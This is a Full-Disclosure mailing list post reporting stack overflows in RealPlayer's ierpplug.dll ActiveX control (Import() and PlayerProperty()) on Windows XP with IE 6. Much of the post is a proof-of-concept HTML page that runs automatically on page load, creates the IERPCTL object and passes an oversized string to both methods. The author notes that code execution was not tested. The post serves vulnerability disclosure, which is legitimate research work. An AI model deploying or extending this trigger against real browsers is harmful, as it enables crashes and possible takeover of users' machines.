There are multiple stack overflows in the ierpplug.dll ActiveX Control. These issues were originally discovered by shinnai, http://www.securityfocus.com/bid/22811 and http://www.securityfocus.com/bid/21802. I am adding the Import() and PlayerProperty() functions to the list. This was tested on Windows XP SP2 fully patched, using IE 6; RealPlayer version 11, build 6.0.14.738, dist R41R01, ierpplug.dll version 1.0.1.3016. I have not tested code execution. PoC as follows: ------------ <!-- written by e.b. --> <html> <head> <script language="JavaScript" DEFER> function Check() { var s = "AAAA"; while (s.length < 999999) s=s+s; var obj = new ActiveXObject("IERPCTL.IERPCTL"); //{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5} obj.Import(s); var obj2 = obj.PlayerProperty(s); } </script> </head> <body onload="JavaScript: return Check();"> </body> </html> ------------ Elazar _______________________________________________ Full-Disclosure - We believe in it.
